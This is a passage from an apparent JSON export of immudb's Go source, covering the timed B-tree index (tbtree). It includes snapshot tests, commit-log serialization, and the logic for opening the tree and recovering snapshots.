false\n\t\t\tl.t.cachePut(l)\n\t\t}\n\t}\n\n\twriteOpts.reportProgress(0, 1, len(l.values))\n\n\treturn nOff, nOff, wN, accH, nil\n}\n\nfunc (n *nodeRef) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) {\n\tif writeOpts.OnlyMutated && n._minOff >= writeOpts.MinOffset {\n\t\treturn n.off, n._minOff, 0, 0, nil\n\t}\n\n\tnode, err := n.t.nodeAt(n.off, false)\n\tif err != nil {\n\t\treturn 0, 0, 0, 0, err\n\t}\n\n\toff, mOff, wn, wh, err := node.writeTo(nw, hw, writeOpts, buf)\n\tif err != nil {\n\t\treturn 0, 0, wn, wh, err\n\t}\n\n\tif writeOpts.commitLog {\n\t\tn.off = off\n\t\tn._minOff = mOff\n\t}\n\n\treturn off, mOff, wn, wh, nil\n}\n\nfunc writeNodeRefToWithOffset(n node, offset, minOff int64, buf []byte) int {\n\ti := 0\n\n\tminKey := n.minKey()\n\tbinary.BigEndian.PutUint16(buf[i:], uint16(len(minKey)))\n\ti += 2\n\n\tcopy(buf[i:], minKey)\n\ti += len(minKey)\n\n\tbinary.BigEndian.PutUint64(buf[i:], n.ts())\n\ti += 8\n\n\tbinary.BigEndian.PutUint64(buf[i:], uint64(offset))\n\ti += 8\n\n\tbinary.BigEndian.PutUint64(buf[i:], uint64(minOff))\n\ti += 8\n\n\treturn i\n}\n"
  },
  {
    "path": "embedded/tbtree/snapshot_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSnapshotSerialization(t *testing.T) {\n\tinsertionCountThld := 10_000\n\n\ttbtree, err := Open(t.TempDir(), DefaultOptions().WithFlushThld(insertionCountThld))\n\trequire.NoError(t, err)\n\n\tkeyCount := insertionCountThld\n\tmonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = snapshot.WriteTo(nil, nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tdumpNBuf := new(bytes.Buffer)\n\tdumpHBuf := new(bytes.Buffer)\n\twopts := &WriteOpts{\n\t\tOnlyMutated:    true,\n\t\tBaseNLogOffset: 0,\n\t\tBaseHLogOffset: 0,\n\t\treportProgress: func(innerWritten, leafNodesWritten, keysWritten int) {},\n\t}\n\t_, _, _, _, err = snapshot.WriteTo(dumpNBuf, dumpHBuf, wopts)\n\trequire.NoError(t, err)\n\trequire.True(t, dumpNBuf.Len() == 0)\n\n\t_, _, _, err = snapshot.Get(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, _, err = snapshot.GetBetween(nil, 1, 2)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = snapshot.History(nil, 0, false, 1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = snapshot.History([]byte{}, 0, false, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = snapshot.Close()\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\tsnapshot, err = tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\tfulldumpNBuf := new(bytes.Buffer)\n\tfulldumpHBuf := new(bytes.Buffer)\n\twopts = &WriteOpts{\n\t\tOnlyMutated:    false,\n\t\tBaseNLogOffset: 0,\n\t\tBaseHLogOffset: 0,\n\t\treportProgress: func(innerWritten, leafNodesWritten, keysWritten int) {},\n\t}\n\t_, _, _, _, err = snapshot.WriteTo(fulldumpNBuf, fulldumpHBuf, wopts)\n\trequire.NoError(t, err)\n\trequire.True(t, fulldumpNBuf.Len() > 0)\n\n\terr = snapshot.Close()\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSnapshotClosing(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, err = snapshot.Get([]byte{})\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, err = snapshot.GetBetween([]byte{}, 1, 1)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = snapshot.History([]byte{}, 0, false, 1)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, _, err = snapshot.GetWithPrefix([]byte{}, nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = snapshot.NewReader(ReaderSpec{})\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = snapshot.NewHistoryReader(nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSnapshotLoadFromFullDump(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions().WithCompactionThld(1).WithDelayDuringCompaction(1))\n\trequire.NoError(t, err)\n\n\tkeyCount := 1_000\n\tmonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\tdone := make(chan struct{})\n\n\tgo func(done chan<- struct{}) {\n\t\ttbtree.Compact()\n\t\tdone <- struct{}{}\n\t}(done)\n\n\t<-done\n\n\tcheckAfterMonotonicInsertions(t, tbtree, 1, keyCount, true)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSnapshotIsolation(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions().WithCompactionThld(1).WithDelayDuringCompaction(1))\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(\"key1\"), []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t// snapshot creation\n\tsnap1, err := tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\tsnap2, err := tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\tt.Run(\"keys inserted before snapshot creation should be reachable\", func(t *testing.T) {\n\t\t_, _, _, err = snap1.Get([]byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, err = snap2.Get([]byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, ts, _, err := snap1.GetWithPrefix([]byte(\"key\"), nil)\n\t\trequire.NoError(t, err)\n\t\trequire.NotZero(t, ts)\n\n\t\t_, _, _, err = snap1.GetBetween([]byte(\"key1\"), 1, snap1.Ts())\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, err = snap2.GetBetween([]byte(\"key1\"), 1, snap2.Ts())\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, _, err = snap1.GetWithPrefix([]byte(\"key3\"), nil)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t_, _, _, _, err = snap1.GetWithPrefix([]byte(\"key1\"), []byte(\"key1\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t})\n\n\terr = tbtree.Insert([]byte(\"key2\"), []byte(\"value2\"))\n\trequire.NoError(t, err)\n\n\tt.Run(\"keys inserted after snapshot creation should NOT be reachable\", func(t *testing.T) {\n\t\t_, _, _, err = snap1.Get([]byte(\"key2\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t_, _, _, err = snap2.Get([]byte(\"key2\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t})\n\n\terr = snap1.Set([]byte(\"key1\"), []byte(\"value1_snap1\"))\n\trequire.NoError(t, err)\n\n\terr = snap1.Set([]byte(\"key1_snap1\"), []byte(\"value1_snap1\"))\n\trequire.NoError(t, err)\n\n\terr = snap2.Set([]byte(\"key1\"), []byte(\"value1_snap2\"))\n\trequire.NoError(t, err)\n\n\terr = snap2.Set([]byte(\"key1_snap2\"), []byte(\"value1_snap2\"))\n\trequire.NoError(t, err)\n\n\tt.Run(\"keys inserted after snapshot creation should NOT be reachable\", func(t *testing.T) {\n\n\t})\n\n\t_, _, _, err = snap1.Get([]byte(\"key1_snap1\"))\n\trequire.NoError(t, err)\n\n\t_, _, _, err = snap2.Get([]byte(\"key1_snap2\"))\n\trequire.NoError(t, err)\n\n\t_, _, _, err = snap1.Get([]byte(\"key1_snap2\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, _, err = snap2.Get([]byte(\"key1_snap1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, _, err = snap1.GetBetween([]byte(\"key1_snap2\"), 1, snap1.Ts())\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, _, err = snap2.GetBetween([]byte(\"key1_snap1\"), 1, snap2.Ts())\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, _, err = tbtree.Get([]byte(\"key1_snap1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, _, err = tbtree.Get([]byte(\"key1_snap2\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = snap1.Close()\n\trequire.NoError(t, err)\n\n\terr = snap2.Close()\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "embedded/tbtree/tbtree.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded\"\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\nvar (\n\tErrIllegalArguments              = fmt.Errorf(\"tbtree: %w\", embedded.ErrIllegalArguments)\n\tErrInvalidOptions                = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\n\tErrorPathIsNotADirectory         = errors.New(\"tbtree: path is not a directory\")\n\tErrReadingFileContent            = errors.New(\"tbtree: error reading required file content\")\n\tErrKeyNotFound                   = fmt.Errorf(\"tbtree: %w\", embedded.ErrKeyNotFound)\n\tErrorMaxKeySizeExceeded          = errors.New(\"tbtree: max key size exceeded\")\n\tErrorMaxValueSizeExceeded        = errors.New(\"tbtree: max value size exceeded\")\n\tErrOffsetOutOfRange              = fmt.Errorf(\"tbtree: %w\", embedded.ErrOffsetOutOfRange)\n\tErrIllegalState                  = embedded.ErrIllegalState // TODO: grpc error mapping hardly relies on the actual message, see IllegalStateHandlerInterceptor\n\tErrAlreadyClosed                 = errors.New(\"tbtree: index already closed\")\n\tErrSnapshotsNotClosed            = errors.New(\"tbtree: snapshots not closed\")\n\tErrorToManyActiveSnapshots       = errors.New(\"tbtree: max active snapshots limit reached\")\n\tErrCorruptedFile                 = errors.New(\"tbtree: file is corrupted\")\n\tErrCorruptedCLog                 = errors.New(\"tbtree: commit log is corrupted\")\n\tErrCompactAlreadyInProgress      = errors.New(\"tbtree: compact already in progress\")\n\tErrCompactionThresholdNotReached = errors.New(\"tbtree: compaction threshold not yet reached\")\n\tErrIncompatibleDataFormat        = errors.New(\"tbtree: incompatible data format\")\n\tErrTargetPathAlreadyExists       = errors.New(\"tbtree: target folder already exists\")\n\tErrNoMoreEntries                 = fmt.Errorf(\"tbtree: %w\", embedded.ErrNoMoreEntries)\n\tErrReadersNotClosed              = errors.New(\"tbtree: readers not closed\")\n)\n\nconst Version = 3\n\nconst (\n\tMetaVersion      = \"VERSION\"\n\tMetaMaxNodeSize  = \"MAX_NODE_SIZE\"\n\tMetaMaxKeySize   = \"MAX_KEY_SIZE\"\n\tMetaMaxValueSize = \"MAX_VALUE_SIZE\"\n)\n\nconst (\n\t// actual nodes and commit folders will be suffixed by root logical timestamp except for initial trees so to be backward compatible\n\tnodesFolderPrefix  = \"nodes\"\n\tcommitFolderPrefix = \"commit\"\n\n\thistoryFolder = \"history\" // history data is snapshot-agnostic / compaction-agnostic i.e. history(t) = history(compact(t))\n\ttimestampFile = \"TIMESTAMP\"\n)\n\n// initial and final nLog size, root node size, nLog digest since initial and final points\n// initial and final hLog size, hLog digest since initial and final points\nconst cLogEntrySize = 8 + 8 + 4 + sha256.Size + 8 + 8 + sha256.Size\n\ntype cLogEntry struct {\n\tsynced bool\n\n\tinitialNLogSize int64\n\tfinalNLogSize   int64\n\trootNodeSize    int\n\tnLogChecksum    [sha256.Size]byte\n\n\tinitialHLogSize int64\n\tfinalHLogSize   int64\n\thLogChecksum    [sha256.Size]byte\n}\n\nfunc (e *cLogEntry) serialize() []byte {\n\tvar b [cLogEntrySize]byte\n\n\ti := 0\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(e.initialNLogSize))\n\tif !e.synced {\n\t\tb[i] |= 0x80 // async flag in the msb is set\n\t}\n\ti += 8\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(e.finalNLogSize))\n\ti += 8\n\n\tbinary.BigEndian.PutUint32(b[i:], uint32(e.rootNodeSize))\n\ti += 4\n\n\tcopy(b[i:], e.nLogChecksum[:])\n\ti += sha256.Size\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(e.initialHLogSize))\n\ti += 8\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(e.finalHLogSize))\n\ti += 8\n\n\tcopy(b[i:], e.hLogChecksum[:])\n\ti += sha256.Size\n\n\treturn b[:]\n}\n\nfunc (e *cLogEntry) isValid() bool {\n\treturn e.initialNLogSize <= e.finalNLogSize &&\n\t\te.rootNodeSize > 0 &&\n\t\tint64(e.rootNodeSize) <= e.finalNLogSize &&\n\t\te.initialHLogSize <= e.finalHLogSize\n}\n\nfunc (e *cLogEntry) deserialize(b []byte) {\n\te.synced = b[0]&0x80 == 0\n\tb[0] &= 0x7F // remove syncing flag\n\n\ti := 0\n\n\te.initialNLogSize = int64(binary.BigEndian.Uint64(b[i:]))\n\ti += 8\n\n\te.finalNLogSize = int64(binary.BigEndian.Uint64(b[i:]))\n\ti += 8\n\n\te.rootNodeSize = int(binary.BigEndian.Uint32(b[i:]))\n\ti += 4\n\n\tcopy(e.nLogChecksum[:], b[i:])\n\ti += sha256.Size\n\n\te.initialHLogSize = int64(binary.BigEndian.Uint64(b[i:]))\n\ti += 8\n\n\te.finalHLogSize = int64(binary.BigEndian.Uint64(b[i:]))\n\ti += 8\n\n\tcopy(e.hLogChecksum[:], b[i:])\n\ti += sha256.Size\n}\n\n// TBTree implements a timed-btree\ntype TBtree struct {\n\tpath string\n\tid   uint16\n\n\tlogger logger.Logger\n\n\tnLog   appendable.Appendable\n\tcache  *cache.Cache\n\tnmutex sync.Mutex // mutex for cache and file reading\n\n\thLog   appendable.Appendable\n\tcLog   appendable.Appendable\n\ttsFile string\n\n\troot node\n\n\tmaxNodeSize                int\n\tinsertionCountSinceFlush   int\n\tinsertionCountSinceSync    int\n\tinsertionCountSinceCleanup int\n\tflushThld                  int\n\tmaxBufferedDataSize        int\n\tsyncThld                   int\n\tflushBufferSize            int\n\tcleanupPercentage          float32\n\tmaxActiveSnapshots         int\n\trenewSnapRootAfter         time.Duration\n\treadOnly                   bool\n\tcacheSize                  int\n\tfileSize                   int\n\tfileMode                   os.FileMode\n\tmaxKeySize                 int\n\tmaxValueSize               int\n\tcompactionThld             int\n\tdelayDuringCompaction      time.Duration\n\tnodesLogMaxOpenedFiles     int\n\thistoryLogMaxOpenedFiles   int\n\tcommitLogMaxOpenedFiles    int\n\tappFactory                 AppFactoryFunc\n\tappRemove                  AppRemoveFunc\n\n\tbufferedDataSize int\n\tonFlush          OnFlushFunc\n\tsnapshots        map[uint64]*Snapshot\n\tmaxSnapshotID    uint64\n\tlastSnapRoot     node\n\tlastSnapRootAt   time.Time\n\n\tcommittedLogSize  int64\n\tcommittedNLogSize int64\n\tcommittedHLogSize int64\n\tminOffset         int64\n\n\tcompacting bool\n\n\tclosed  bool\n\trwmutex sync.RWMutex\n}\n\ntype path []*pathNode\n\ntype pathNode struct {\n\tnode   *innerNode\n\toffset int\n}\n\ntype node interface {\n\tinsert(kvts []*KVT) ([]node, int, error)\n\tget(key []byte) (value []byte, ts uint64, hc uint64, err error)\n\tgetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error)\n\thistory(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error)\n\tfindLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error)\n\tminKey() []byte\n\tts() uint64\n\tsetTs(ts uint64) (node, error)\n\ttsMutated() bool\n\tsize() (int, error)\n\tmutated() bool\n\toffset() int64    // only valid when !mutated()\n\tminOffset() int64 // only valid when !mutated()\n\twriteTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error)\n}\n\ntype writeProgressOutputFunc func(innerNodesWritten int, leafNodesWritten int, entriesWritten int)\ntype writeFinnishOutputFunc func()\n\ntype WriteOpts struct {\n\tOnlyMutated    bool\n\tBaseNLogOffset int64\n\tBaseHLogOffset int64\n\tcommitLog      bool\n\treportProgress writeProgressOutputFunc\n\tMinOffset      int64\n}\n\ntype innerNode struct {\n\tt       *TBtree\n\tnodes   []node\n\t_ts     uint64\n\toff     int64\n\t_minOff int64\n\tmut     bool\n}\n\ntype leafNode struct {\n\tt      *TBtree\n\tvalues []*leafValue\n\t_ts    uint64\n\toff    int64\n\tmut    bool\n}\n\ntype nodeRef struct {\n\tt       *TBtree\n\t_minKey []byte\n\t_ts     uint64\n\toff     int64\n\t_minOff int64\n}\n\ntype leafValue struct {\n\tkey         []byte\n\ttimedValues []TimedValue\n\thOff        int64\n\thCount      uint64\n}\n\ntype TimedValue struct {\n\tValue []byte\n\tTs    uint64\n}\n\nfunc Open(path string, opts *Options) (*TBtree, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfinfo, err := os.Stat(path)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\treturn nil, err\n\t\t}\n\t\terr = os.Mkdir(path, opts.fileMode)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if !finfo.IsDir() {\n\t\treturn nil, ErrorPathIsNotADirectory\n\t}\n\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(MetaVersion, Version)\n\tmetadata.PutInt(MetaMaxNodeSize, opts.maxNodeSize)\n\tmetadata.PutInt(MetaMaxKeySize, opts.maxKeySize)\n\tmetadata.PutInt(MetaMaxValueSize, opts.maxValueSize)\n\n\tappendableOpts := multiapp.DefaultOptions().\n\t\tWithReadOnly(opts.readOnly).\n\t\tWithRetryableSync(false).\n\t\tWithFileSize(opts.fileSize).\n\t\tWithFileMode(opts.fileMode).\n\t\tWithWriteBufferSize(opts.flushBufferSize).\n\t\tWithMetadata(metadata.Bytes())\n\n\tappFactory := opts.appFactory\n\tif appFactory == nil {\n\t\tappFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\tpath := filepath.Join(rootPath, subPath)\n\t\t\treturn multiapp.Open(path, opts)\n\t\t}\n\t}\n\n\tappRemove := opts.appRemove\n\tif appRemove == nil {\n\t\tappRemove = func(rootPath, subPath string) error {\n\t\t\tpath := filepath.Join(rootPath, subPath)\n\t\t\treturn os.RemoveAll(path)\n\t\t}\n\t}\n\n\tappendableOpts.WithFileExt(\"hx\")\n\tappendableOpts.WithMaxOpenedFiles(opts.historyLogMaxOpenedFiles)\n\thLog, err := appFactory(path, historyFolder, appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// If compaction was not fully completed, a valid or partially written full snapshot may be there\n\tsnapIDs, err := recoverFullSnapshots(path, commitFolderPrefix, opts.logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Try snapshots from newest to older\n\tfor i := len(snapIDs); i > 0; i-- {\n\t\tsnapID := snapIDs[i-1]\n\n\t\tnFolder := snapFolder(nodesFolderPrefix, snapID)\n\t\tcFolder := snapFolder(commitFolderPrefix, snapID)\n\t\ttsFile := snapFolder(timestampFile, snapID)\n\n\t\tsnapPath := filepath.Join(path, cFolder)\n\n\t\topts.logger.Infof(\"reading snapshots at '%s'...\", snapPath)\n\n\t\tappendableOpts.WithFileExt(\"n\")\n\t\tappendableOpts.WithMaxOpenedFiles(opts.nodesLogMaxOpenedFiles)\n\t\tnLog, err := appFactory(path, nFolder, appendableOpts)\n\t\tif err != nil {\n\t\t\topts.logger.Infof(\"skipping snapshots at '%s', reading node data returned: %v\", snapPath, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tappendableOpts.WithFileExt(\"ri\")\n\t\tappendableOpts.WithMaxOpenedFiles(opts.commitLogMaxOpenedFiles)\n\t\tcLog, err := appFactory(path, cFolder, appendableOpts)\n\t\tif err != nil {\n\t\t\tnLog.Close()\n\t\t\topts.logger.Infof(\"skipping snapshots at '%s', reading commit data returned: %v\", snapPath, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar t *TBtree\n\t\tvar discardSnapshotsFolder bool\n\n\t\tcLogSize, err := cLog.Size()\n\t\tif err == nil && cLogSize < cLogEntrySize {\n\t\t\topts.logger.Infof(\"skipping snapshots at '%s', reading commit data returned: %s\", snapPath, \"empty clog\")\n\t\t\tdiscardSnapshotsFolder = true\n\t\t}\n\t\tif err == nil && !discardSnapshotsFolder {\n\t\t\t// TODO: semantic validation and further amendment procedures may be done instead of a full initialization\n\t\t\tt, err = OpenWith(path, tsFile, nLog, hLog, cLog, opts)\n\t\t}\n\t\tif err != nil {\n\t\t\topts.logger.Infof(\"skipping snapshots at '%s', opening btree returned: %v\", snapPath, err)\n\t\t\tdiscardSnapshotsFolder = true\n\t\t}\n\n\t\tif discardSnapshotsFolder {\n\t\t\tnLog.Close()\n\t\t\tcLog.Close()\n\n\t\t\terr = discardSnapshots(path, snapIDs[i-1:i], appRemove, opts.logger)\n\t\t\tif err != nil {\n\t\t\t\topts.logger.Warningf(\"discarding snapshots at '%s' returned: %v\", path, err)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\topts.logger.Infof(\"successfully read snapshots at '%s'\", snapPath)\n\n\t\t// Discard older snapshots upon successful validation\n\t\terr = discardSnapshots(path, snapIDs[:i-1], appRemove, opts.logger)\n\t\tif err != nil {\n\t\t\topts.logger.Warningf(\"discarding snapshots at '%s' returned: %v\", path, err)\n\t\t}\n\n\t\treturn t, nil\n\t}\n\n\t// No snapshot present or none was valid, fresh initialization\n\n\terr = hLog.SetOffset(0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tappendableOpts.WithFileExt(\"n\")\n\tappendableOpts.WithMaxOpenedFiles(opts.nodesLogMaxOpenedFiles)\n\tnLog, err := appFactory(path, nodesFolderPrefix, appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tappendableOpts.WithFileExt(\"ri\")\n\tappendableOpts.WithMaxOpenedFiles(opts.commitLogMaxOpenedFiles)\n\tcLog, err := appFactory(path, commitFolderPrefix, appendableOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn OpenWith(path, timestampFile, nLog, hLog, cLog, opts)\n}\n\nfunc snapFolder(folder string, snapID uint64) string {\n\tif snapID == 0 {\n\t\treturn folder\n\t}\n\treturn fmt.Sprintf(\"%s%016d\", folder, snapID)\n}\n\nfunc recoverFullSnapshots(path, prefix string, logger logger.Logger) (snapIDs []uint64, err error) {\n\tfis, err := os.ReadDir(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, f := range fis {\n\t\tif f.IsDir() && strings.HasPrefix(f.Name(), prefix) {\n\t\t\tif f.Name() == prefix {\n\t\t\t\tsnapIDs = append(snapIDs, 0)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tid, err := strconv.ParseInt(strings.TrimPrefix(f.Name(), prefix), 10, 64)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Warningf(\"invalid folder found '%s', skipped during index selection\", f.Name())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsnapIDs = append(snapIDs, uint64(id))\n\t\t}\n\t}\n\n\treturn snapIDs, nil\n}\n\nfunc discardSnapshots(path string, snapIDs []uint64, appRemove AppRemoveFunc, logger logger.Logger) error {\n\tfor _, snapID := range snapIDs {\n\t\tnFolder := snapFolder(nodesFolderPrefix, snapID)\n\t\tcFolder := snapFolder(commitFolderPrefix, snapID)\n\t\ttsFile := snapFolder(timestampFile, snapID)\n\n\t\tlogger.Infof(\"discarding snapshot with id=%d at '%s'...\", snapID, path)\n\n\t\terr := appRemove(path, nFolder)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = appRemove(path, cFolder)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_ = os.Remove(filepath.Join(path, tsFile))\n\n\t\tlogger.Infof(\"snapshot with id=%d at '%s' has been discarded, %d\", snapID, path)\n\t}\n\n\treturn nil\n}\n\nfunc OpenWith(path, tsFile string, nLog, hLog, cLog appendable.Appendable, opts *Options) (*TBtree, error) {\n\tif nLog == nil || hLog == nil || cLog == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmetadata := appendable.NewMetadata(cLog.Metadata())\n\n\tversion, ok := metadata.GetInt(MetaVersion)\n\tif !ok {\n\t\treturn nil, ErrCorruptedCLog\n\t}\n\tif version < Version {\n\t\treturn nil, fmt.Errorf(\"%w: index data was generated using older and incompatible version\", ErrIncompatibleDataFormat)\n\t}\n\n\tmaxNodeSize, ok := metadata.GetInt(MetaMaxNodeSize)\n\tif !ok {\n\t\treturn nil, ErrCorruptedCLog\n\t}\n\n\tmaxKeySize, ok := metadata.GetInt(MetaMaxKeySize)\n\tif !ok {\n\t\tmaxKeySize = opts.maxKeySize\n\t}\n\n\tmaxValueSize, ok := metadata.GetInt(MetaMaxValueSize)\n\tif !ok {\n\t\tmaxValueSize = opts.maxValueSize\n\t}\n\n\tif maxNodeSize < requiredNodeSize(maxKeySize, maxValueSize) {\n\t\treturn nil, fmt.Errorf(\"%w: max node size is too small for specified max key and max value sizes\", ErrIllegalArguments)\n\t}\n\n\tcLogSize, err := cLog.Size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trem := cLogSize % cLogEntrySize\n\tif rem > 0 {\n\t\tcLogSize -= rem\n\t\terr = cLog.SetOffset(cLogSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnodeCache := opts.cache\n\tif nodeCache == nil {\n\t\tnodeCache, err = cache.NewCache(opts.cacheSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tt := &TBtree{\n\t\tpath:                     path,\n\t\tid:                       opts.ID,\n\t\tlogger:                   opts.logger,\n\t\tnLog:                     nLog,\n\t\thLog:                     hLog,\n\t\tcLog:                     cLog,\n\t\ttsFile:                   tsFile,\n\t\tcache:                    nodeCache,\n\t\tmaxNodeSize:              maxNodeSize,\n\t\tmaxKeySize:               maxKeySize,\n\t\tmaxValueSize:             maxValueSize,\n\t\tflushThld:                opts.flushThld,\n\t\tmaxBufferedDataSize:      opts.maxBufferedDataSize,\n\t\tsyncThld:                 opts.syncThld,\n\t\tflushBufferSize:          opts.flushBufferSize,\n\t\tonFlush:                  opts.onFlush,\n\t\tcleanupPercentage:        opts.cleanupPercentage,\n\t\trenewSnapRootAfter:       opts.renewSnapRootAfter,\n\t\tmaxActiveSnapshots:       opts.maxActiveSnapshots,\n\t\tfileSize:                 opts.fileSize,\n\t\tcacheSize:                opts.cacheSize,\n\t\tfileMode:                 opts.fileMode,\n\t\tcompactionThld:           opts.compactionThld,\n\t\tdelayDuringCompaction:    opts.delayDuringCompaction,\n\t\tnodesLogMaxOpenedFiles:   opts.nodesLogMaxOpenedFiles,\n\t\thistoryLogMaxOpenedFiles: opts.historyLogMaxOpenedFiles,\n\t\tcommitLogMaxOpenedFiles:  opts.commitLogMaxOpenedFiles,\n\t\treadOnly:                 opts.readOnly,\n\t\tappFactory:               